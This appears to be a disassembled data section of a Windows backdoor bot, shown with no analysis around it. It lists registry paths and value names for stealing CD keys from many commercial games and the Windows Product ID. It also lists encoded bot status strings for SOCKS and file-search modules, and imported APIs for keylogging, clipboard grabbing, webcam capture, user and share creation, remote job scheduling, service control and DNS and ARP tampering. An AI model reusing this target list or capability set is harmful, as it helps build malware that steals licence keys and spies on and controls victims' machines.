aClientConnec_0	db '  Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_427C5C	db    2			; DATA XREF: seg000:004081BCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 10h
unk_427CA0	db    2			; DATA XREF: seg000:00408199o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_427CEC	db    2			; DATA XREF: seg000:0040811Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
dword_427D44	dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
					; DATA XREF: seg000:004080B2o
					; seg000:004126D3o
		dd 206C1F64h, 0BB022029h, 202002BBh, 76726553h,	73207265h
		dd 74726174h, 6F206465h, 25203A6Eh, 64253A73h, 2Eh, 28026502h
		dd 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h, 206C1F64h
		dd 0BB022029h, 202002BBh, 6F727245h, 46203A72h,	656C6961h
		dd 6F742064h, 6E6F6320h, 7463656Eh, 206F7420h, 67726174h
		dd 202C7465h, 75746572h, 64656E72h, 253C203Ah, 2E3E64h
		dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
		dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h,	46203A72h
		dd 656C6961h, 6F742064h, 65706F20h, 6F73206Eh, 74656B63h
		dd 202C2928h, 75746572h, 64656E72h, 253C203Ah, 2E3E64h
		dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
		dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h,	69746E65h
		dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h
		dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h
		dd 0
		dd 80000001h
off_427E7C	dd offset aSoftwareValveC ; DATA XREF: sub_4085D3+Cr
					; sub_4085D3+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_427E88	dd 2 dup(0)			dd 80000001h, 429010h, 429004h,	428FF4h, 2 dup(0)
		dd 80000001h, 428FD4h, 428FD0h,	428FBCh, 2 dup(0)
		dd 80000001h, 428F98h, 428FD0h,	428F8Ch, 2 dup(0)
		dd 80000001h, 428F68h, 428F60h,	428F4Ch, 2 dup(0)
		dd 80000001h, 428F38h, 428F28h,	428F0Ch, 2 dup(0)
		dd 80000001h, 428EC8h, 429050h,	428EB4h, 2 dup(0)
		dd 80000002h, 428E88h, 428E7Ch,	428E5Ch, 2 dup(0)
		dd 80000002h, 428E28h, 429050h,	428E10h, 2 dup(0)
		dd 80000002h, 428DDCh, 429050h,	428DC4h, 2 dup(0)
		dd 80000002h, 428DACh, 429050h,	428D94h, 2 dup(0)
		dd 80000002h, 428D58h, 438FACh,	428D48h, 2 dup(0)
		dd 80000002h, 428D10h, 438FACh,	428CFCh, 2 dup(0)
		dd 80000002h, 428CB0h, 438FACh,	428C90h, 2 dup(0)
		dd 80000002h, 428C40h, 438FACh,	428C14h, 2 dup(0)
		dd 80000002h, 428BD8h, 438FACh,	428BC4h, 2 dup(0)
		dd 80000002h, 428B8Ch, 438FACh,	428B7Ch, 2 dup(0)
		dd 80000002h, 428B2Ch, 438FACh,	428B00h, 2 dup(0)
		dd 80000002h, 428AC0h, 438FACh,	428AA4h, 2 dup(0)
		dd 80000002h, 428A74h, 438FACh,	428A54h, 2 dup(0)
		dd 80000002h, 428A18h, 438FACh,	428A04h, 2 dup(0)
		dd 80000002h, 4289BCh, 438FACh,	42899Ch, 2 dup(0)
		dd 80000002h, 428948h, 438FACh,	428918h, 2 dup(0)
		dd 80000002h, 4288C8h, 438FACh,	42889Ch, 2 dup(0)
		dd 80000002h, 42885Ch, 428854h,	428834h, 2 dup(0)
		dd 80000002h, 4287F0h, 438FACh,	4287D4h, 2 dup(0)
		dd 80000002h, 428788h, 438FACh,	428764h, 2 dup(0)
		dd 80000002h, 428730h, 438FACh,	428724h, 2 dup(0)
		dd 80000002h, 4286F0h, 438FACh,	4286E4h, 2 dup(0)
		dd 80000002h, 4286B0h, 438FACh,	4286A4h, 2 dup(0)
		dd 80000002h, 428670h, 438FACh,	428664h, 2 dup(0)
		dd 80000002h, 428628h, 438FACh,	428614h, 2 dup(0)
		dd 80000002h, 4285D8h, 438FACh,	4285C4h, 2 dup(0)
		dd 80000002h, 428594h, 429050h,	428578h, 2 dup(0)
		dd 80000002h, 428558h, 428550h,	42852Ch, 2 dup(0)
		dd 80000002h, 428510h, 428550h,	4284F0h, 2 dup(0)
		dd 80000002h, 4284D0h, 428550h,	4284ACh, 2 dup(0)
		dd 80000002h, 428494h, 428550h,	428490h, 2 dup(0)
		dd 80000002h, 428474h, 428464h,	42845Ch, 2 dup(0)
		dd 80000002h, 428428h, 428424h,	42840Ch, 2 dup(0)
		dd 80000002h, 4283D0h, 4283C4h,	42839Ch, 42838Ch, 428378h
		dd 80000002h, 428354h, 428348h,	428334h, 428324h, 42831Ch
		dd 80000002h, 428354h, 428348h,	4282F0h, 428324h, 4282E8h
		dd 80000002h, 428354h, 428348h,	4282B8h, 428324h, 4282B0h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: seg002:0042DE6Co
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 10h
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 10h
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 10h
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 10h
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 10h
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 10h
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 10h
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 10h
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 10h
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 10h
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 10h
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 10h
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 10h
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 10h
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 10h
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 10h
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: seg002:00427E84o
aCdkey		db 'CDKey',0            ; DATA XREF: seg002:00427E80o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg002:off_427E7Co
		align 10h
asc_429080:				; DATA XREF: sub_4085D3+E9o
					; sub_4085D3+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_4085D3+8Fo
					; seg000:loc_4112ABo
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_4085D3+7Eo
					; sub_4088A0+45o
		align 10h
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_4085D3+2Bo
		align 4
unk_4290A4	db    2			; DATA XREF: sub_408788+C5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_4290D8	db    2			; DATA XREF: sub_408788+5Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_4088A0+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_4088A0+1Ao
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4089F2+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4089F2+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4089F2:loc_40962Do
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4089F2+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4089F2+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4089F2+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4089F2+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4089F2+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4089F2+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4089F2:loc_40958Fo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4089F2+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4089F2+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4089F2:loc_409545o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4089F2+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4089F2+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4089F2+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4089F2+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4089F2:loc_4094D1o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4089F2+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4089F2+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4089F2:loc_409487o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4089F2+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4089F2+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4089F2:loc_40943Do
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4089F2+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4089F2+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4089F2+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4089F2+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4089F2+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4089F2+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4089F2+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4089F2+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4089F2+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4089F2+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4089F2+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4089F2:loc_409332o
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4089F2+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4089F2+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4089F2+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4089F2:loc_4092D3o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4089F2+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4089F2+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4089F2+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4089F2+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4089F2+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4089F2+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4089F2+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4089F2+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4089F2+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4089F2+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4089F2+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4089F2:loc_4091B3o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4089F2+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4089F2+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4089F2+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4089F2+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4089F2+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4089F2+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4089F2+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4089F2+62Do
					; seg002:0042C5C0o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4089F2+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4089F2+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4089F2+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4089F2+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_4089F2+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_4089F2+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_4089F2+5D2o
					; seg000:0040EF2Co
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4089F2+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4089F2+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_4089F2+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_4089F2+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4089F2+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4089F2+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_4089F2+577o
					; seg002:0042C9D0o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4089F2+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_4089F2+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4089F2+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4089F2+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4089F2+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4089F2+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4089F2+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4089F2+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4089F2+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4089F2+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4089F2+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4089F2+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4089F2+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4089F2+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4089F2+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4089F2+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4089F2+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4089F2+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4089F2+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4089F2:loc_408E01o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4089F2:loc_408DD9o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4089F2+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4089F2+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4089F2+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4089F2+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4089F2+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4089F2+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4089F2+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4089F2:loc_408D2Bo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4089F2+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4089F2+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4089F2:loc_408CE6o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4089F2+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4089F2+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4089F2+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4089F2+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4089F2+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4089F2+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4089F2:loc_408C51o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4089F2+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4089F2+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4089F2+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4089F2:loc_408BEAo
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4089F2+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4089F2+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4089F2+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4089F2+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4089F2+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4089F2+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4089F2+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4089F2+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4089F2:loc_408B27o
					; sub_41E6EE+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4089F2:loc_408AFAo
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4089F2+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4089F2+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4089F2+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4089F2+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4089F2+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4089F2+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4089F2+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4089F2+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4089F2+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4089F2+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4089F2+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4089F2+Ao
		align 4
dword_4299F4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40967F+2F2o
		dd 2029206Ch, 2BBBB02h
aDllTestComplet	db '  DLL test complete.',0
		align 4
